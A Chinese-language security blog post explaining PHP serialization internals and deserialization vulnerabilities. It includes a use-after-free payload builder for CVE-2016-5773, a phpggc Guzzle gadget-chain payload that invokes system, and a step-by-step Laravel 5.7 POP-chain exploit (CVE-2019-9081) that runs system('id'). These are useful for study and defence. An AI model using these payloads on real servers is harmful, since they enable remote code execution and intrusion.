<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          php 序列化與反序列化

          共 5627字,需瀏覽 12分鐘

           ·

          2020-10-05 15:18

          點擊藍字關注我們吧!



          簡述



          前端時間復現(xiàn)?drupal Remote Code Execution- SA-CORE-2019-003 遇到了php反序列化的問題,打算這篇文章寫一下php反序列化。?


          首先我們簡單介紹一下php序列化的數(shù)據(jù)


          a - array 數(shù)組b - boolean 布爾d - double 浮點數(shù)i - integer 數(shù)字o - common object PHP3 中被引入用來序列化對象r - reference 對象引用s - non-escaped binary stringS - escaped binary stringC - custom object 自定義的對象序列化O - class 序列化對象 PHP4 取代oN - nullR - pointer reference 指針引用U - unicode string PHP6 引入unicode編碼字符串


          接下來重點用代碼分析序列化數(shù)據(jù)


          class SampleClass {    var $value;}$a = new SampleClass();$a->value = $a; //對象引用$b = new SampleClass();$b->value = &$b; //指針引用var_dump(serialize($a));var_dump(serialize($b));$a->value = 1; //不會更改本身對象$b->value = 1; //會改變本身對象var_dump(serialize($a));var_dump(serialize($b));


          上述代碼分析了對象引用與指針引用的情況以及區(qū)別,序列化數(shù)據(jù)為


          O:11:"SampleClass":1:{s:5:"value";r:1;}O:11:"SampleClass":1:{s:5:"value";R:1;}O:11:"SampleClass":1:{s:5:"value";i:1;}i:1;


          php中對于protected和private屬性序列化時具有特定的形式,以下還是用代碼表示


          class demo{  protected $protected = 1;  private $private = 2;}$c = new demo;var_dump(serialize($c));$s = "O:4:\"demo\":1:{s:1:\"s\";N;}";var_dump(unserialize($s));$f = "O:4:\"demo\":2:{s:12:\"\00*\00protected\";i:2;s:13:\"\00demo\00private\";N;}";var_dump(unserialize($f));


          對于protected屬性的變量序列化時前面會加\00*\00,protected屬性的變量序列化為\00類名\00,默認反序列對象包含其所聲明變量


          O:4:"demo":2:{s:12:"?*?protected";i:1;s:13:"?demo?private";i:2;}

          object(demo)[2] protected 'protected' => int 1 private 'private' => int 2 public 's' => null

          object(demo)[2] protected 'protected' => int 2 private 'private' => null



          特點


          php擁有自定義的序列化接口,實現(xiàn)代碼如下:


          Serializable {  abstract public string serialize ( void )  abstract public mixed unserialize ( string $serialized )}


          具體使用情況代碼,可以參照官網(wǎng),這里我簡述一下,

          _construct?和?_destruct?在序列化時的變化


          class demo implements Serializable{  private $data;  public function __wakeup(){        var_dump("__wakeup");    }    public function __sleep(){        var_dump("__sleep");    }    public function __construct(){    $this->data = "this is demo";    var_dump("__construct");  }  public function serialize(){    return serialize($this->data);  }  public function unserialize($data){    $this->data = unserialize($data);  }  public function getData(){    return $this->data;  }  public function __destruct(){    return var_dump("__destruct");  }}$obj = new demo;$ser = serialize($obj);$b = unserialize($ser);var_dump($b);


          上述代碼重新定義了序列化接口,并對其進行了序列化和反序列化的操作,觀察其中魔術方法


          '__construct'?(length=11)
          object(demo)[2]s??private?'data'?=>?string?'this?is?demo'?(length=12)
          '__destruct'?(length=10)
          '__destruct' (length=10)


          可以看到__destruct方法在整個序列化過程結束時才會調(diào)用,

          調(diào)用的次數(shù)取決于序列化和反序列化的次數(shù),__construct方法在new對象時調(diào)用,并不在序列化過程中調(diào)用,

          __wakeup和__sleep方法不再支持與調(diào)用?


          本文由“壹伴編輯器”提供技術支持

          介紹完php序列化的基本內(nèi)容,捎帶講一下常見的php序列化漏洞繞過:

          對于__wakeup方法的繞過可以利用對象屬性個數(shù)的值大于真實的屬性個數(shù)時就會跳過的特性,CVE-2016-7124;

          O:與O:+都可代表類,同理其他類型的都可以這么表示,可以繞過preg_ macth的檢查,繞過substr開頭為O:,可以將序列化數(shù)據(jù)放入數(shù)組中,反序列化時會執(zhí)行數(shù)組中的內(nèi)容。


          本文由“壹伴編輯器”提供技術支持


          PHP 5.3.0中引入了垃圾收集(GC)算法,存在漏洞CVE-2016-5773,

          由于我對二進制方面的漏洞也不是很理解,這里我簡單描述一下:

          這是use-after-free的漏洞,原因在于ArrayObjects沒有實現(xiàn)垃圾回收功能,多次引用釋放后會導致覆蓋堆棧地址,自動觸發(fā)GC的機制,超過GCROOTBUFFERMAXENTRIES的默認次數(shù)10000。

          具體講解見鏈接:

          Breaking PHP’s Garbage Collection and Unserialize


          我這邊捎帶貼一下重要的代碼圖,我改過的,適用于PHP 5.4.45版本


          define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);// Create a fake zval string which will fill our freed space later on.$fake_zval_string = pack('L', 1337).pack('L', 0).str_repeat("\x01", 8);$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';// Create a sandwich like structure:// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE$overflow_gc_buffer = '';for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {    $overflow_gc_buffer .= 'i:0;a:0:{}';    $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;}// The decrementor_object will be initialized with the contents of our target array ($free_me).$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';// The following references will point to the $free_me array (id=3) within unserialize.$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';// Setup our target array i.e. an array that is supposed to be freed during unserialization.$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';// Increment each decrementor_object reference count by 2.$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';// Trigger the GC and free our target array.$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';// Add our GC trigger and add a reference to the target array.$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';$a = unserialize($payload);var_dump($a);



          魔術方法


          soapClient原生類


          在不同語言的序列化過程中,最經(jīng)常利用的就是魔術方法。

          當然php也不例外,除了上述描述的魔術方法以外,

          序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字,并且靜態(tài)變量不支持序列化。


          官方的簡述如下:


          __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為魔術方法(Magic methods)在給不可訪問屬性賦值時,__set() 會被調(diào)用。讀取不可訪問屬性的值時,__get() 會被調(diào)用。當對不可訪問屬性調(diào)用 isset() 或 empty() 時,__isset() 會被調(diào)用。當對不可訪問屬性調(diào)用 unset() 時,__unset() 會被調(diào)用。屬性重載只能在對象中進行。在靜態(tài)方法中,這些魔術方法將不會被調(diào)用。所以這些方法都不能被 聲明為 static。從 PHP 5.3.0 起, 將這些魔術方法定義為 static 會產(chǎn)生一個警告。


          接下來重點簡述一下__call()方法:

          在對象中調(diào)用一個不可訪問方法時,__call()會被調(diào)用。

          方法分為public、privateprotected,方法也分為靜態(tài)和非靜態(tài),

          • ->(對象運算符)訪問非靜態(tài)屬性(根據(jù)不同的php版本可對靜態(tài)屬性賦值,但是不會影響到方法中的屬性值)

          • ::(范圍解析操作符 )只能訪問靜態(tài)屬性,可對父類進行覆蓋。


          為了更好的理解,下面貼出官方demo:

          function __call($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling object method '$name' "             . implode(', ', $arguments). "\n";    }    /**  PHP 5.3.0之后版本  */    public static function __callStatic($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling static method '$name' "             . implode(', ', $arguments). "\n";    }}$obj = new MethodTest;$obj->runTest('in object context');MethodTest::runTest('in static context');  // PHP 5.3.0之后版本?>Calling object method 'runTest' in object contextCalling static method 'runTest' in static context

          Soap協(xié)議為簡單對象訪問協(xié)議,采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。

          常見wsdl文件描述如何訪問具體接口,php中原生類SoapClient可以創(chuàng)建soap報文,與接口進行交互,SoapClient類具有魔術方法_call,

          根據(jù)之前的分析,構造一個不存在的functionname,調(diào)用到魔術方法中,進一步發(fā)送請求,造成SSRF反序列化漏洞



          利用



          最后利用phpggc中Guzzle的例子,具體分析利用過程,生成序列化數(shù)據(jù):

          phpggc Guzzle/rce1 assert phpinfo -j


          O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:3:\"dir\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}


          觀察序列化數(shù)據(jù),可以得到一個pop鏈,根據(jù)序列化流程圖,我們具體分析


          ?

          我們找到對應的相關代碼具體分析整個運行,chain.php


          public function generate(array $parameters){        $function = $parameters['function'];        $parameter = $parameters['parameter'];

          return new \GuzzleHttp\Psr7\FnStream([ 'close' => [ new \GuzzleHttp\HandlerStack($function, $parameter), 'resolve' ] ]); }


          可以看到主要序列化了\GuzzleHttp\Psr7\FnStream類,運用了其中close數(shù)組,包含\GuzzleHttp\HandlerStack類,gadgets.php



          namespace Psr\Http\Message{ interface StreamInterface{}}
          namespace GuzzleHttp\Psr7{ class FnStream implements \Psr\Http\Message\StreamInterface {??????private?$methods; public function __construct(array $methods) {??????????$this->methods?=?$methods; foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; }??????} /* public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
          public function close() { return call_user_func($this->_fn_close); } */ }}namespace GuzzleHttp{ class HandlerStack { private $handler; private $stack;??????private?$cached?=?false; function __construct($function, $parameter) { $this->stack = [[$function]]; $this->handler = $parameter;??????} /* public function resolve() { if (!$this->cached) { if (!($prev = $this->handler)) { throw new \LogicException('No handler has been specified');??????????????} foreach (array_reverse($this->stack) as $fn) { $prev = $fn[0]($prev);??????????????} $this->cached = $prev;??????????} return $this->cached; } */ }}


          再通過流程圖回溯,變量method賦值close數(shù)組,達到覆蓋變量fnclose,

          并通過resolve方法傳入payload,通過__destruct魔術方法達到任意代碼執(zhí)行。



          具體案例分析



          本案例為Laravel5.7反序列化漏洞,執(zhí)行命令的功能位于?Illuminate/Foundation/Testing/PendingCommand?類的?run?方法。為了方便查找代碼具體位置,

          以下分析過程盡量用圖展示:



          可以看出想要實現(xiàn)命令執(zhí)行,要經(jīng)過mockConsoleOutput方法,

          跟進方法:


          protected function mockConsoleOutput(){        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),????????]);
          foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) {????????????????????unset($this->test->expectedQuestions[$i]);
          return $question[1]; });????????} $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }


          乍一看需要判斷的條件很多,為了簡化流程,我選擇先從命令執(zhí)行開始要傳入的參數(shù)看起

          除了$command和$parameters,還有兩個參數(shù)$test和$app,

          通過注釋可以得知:

          \Illuminate\Foundation\Application $app,\PHPUnit\Framework\TestCase $test

          一開始我卡在了如何反序列化$test對象,因為通過源碼(具體代碼就不貼了)可以看到$test為一個抽象方法繼承了Assert實現(xiàn)了SelfDescribing和Test接口,序列化時不能對其進行操作,

          我選擇了先定義為普通方法,看程序返回:


          namespace Illuminate\Foundation\Testing{    class PendingCommand{        public $test;        protected $app;        protected $command;????????protected?$parameters;????????        public function __construct($test, $app, $command, $parameters){            $this->test = $test;            $this->app = $app;            $this->command = $command;            $this->parameters = $parameters;        }    }}
          namespace PHPUnit\Framework{ class TestCase{ public function __construct(){ } }}
          namespace Illuminate\Foundation{ class Application{ public function __construct() { } }}
          namespace{ $defaultgenerator = new PHPUnit\Framework\TestCase; $application = new Illuminate\Foundation\Application(); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id')); echo urlencode(serialize($pendingcommand));}


          可以看到程序報錯,停在了PendingCommand.php的163行,原因是必須為數(shù)組類型



          $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),        ]);


          由此,我們?yōu)榱丝刂茢?shù)組,采用__get()方法,搜索全局代碼,

          找到Faker\DefaultGenerator?類,由此我們重新構造,多余的代碼就不寫了,只是更改$defaultgenerator


          namespace Faker{    class DefaultGenerator  {      protected $default;      public function __construct($default = null)      {          $this->default = $default;      }  }}


          修改過后,重新運行到達136行,出現(xiàn)異常跳出,需要單步調(diào)試一下,代碼為;


          $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);


          為了更直觀的展示具體出現(xiàn)代碼的位置,我在此處下了斷點,

          $this->app為?Illuminate\Foundation\Application?類,

          如下圖所示:



          接著分析Kernel::class,為Illuminate\Contracts\Console\Kernel類,

          跟蹤到此類,找到call方法,發(fā)現(xiàn)斷點跟蹤后無法到達,懷疑是在中間的某個位置發(fā)生了錯誤,

          于是我選擇將數(shù)組拆開分析,得到以下調(diào)用鏈:



          最后找到Illuminate\Container\Container類中的make方法,

          通過resolve對抽象類$this->build($concrete)進行實例化,

          而Kernel類為一個接口最終導致返回錯誤,

          最終的代碼實現(xiàn)為:


          public function make($abstract, array $parameters = []){        return $this->resolve($abstract, $parameters);    }

          protected function resolve($abstract, $parameters = []){ $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null( $this->getContextualConcrete($abstract) ); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }


          為了使resolve方法正常返回,有兩種方式:

          • 1. 通過 :

          return $this->instances[$abstract]$concrete = $this->getConcrete($abstract)

          • 2. 參考文章:laravelv5.7反序列化rce(CVE-2019-9081)?


          這里我們使用第一個方法,直接對exp中Illuminate\Foundation\Application進行重寫:


          namespace Illuminate\Foundation{    class Application{        protected $instances = [];        public function __construct($instances = []){            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;        }    }}


          正如之前所說當直接賦值以后,return的變量控制為:Illuminate\Contracts\Console\Kernel

          直接運行到call方法達到命令執(zhí)行的效果,具體的效果圖我就不貼了,當然第二種方法與第一種方法本質(zhì)上差不多,都是直接賦值,有點不一樣就是第一種方法是直接運行call方法,

          第二種是Illuminate\Foundation\Application繼承Container達到運行call方法。


          相關鏈接:


          http://www.php.cn/php-notebook-239422.html https://www.php.net/manual/zh/class.serializable.php https://bugs.php.net/bug.php?id=72663 https://xz.aliyun.com/t/5483



          end





          瀏覽 69
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  久久无码鲁丝片午夜精品 | 欧美精品三区 | 欧美成在线视频 | 国产无码一区二区三区视频 | 日韩无码影院 |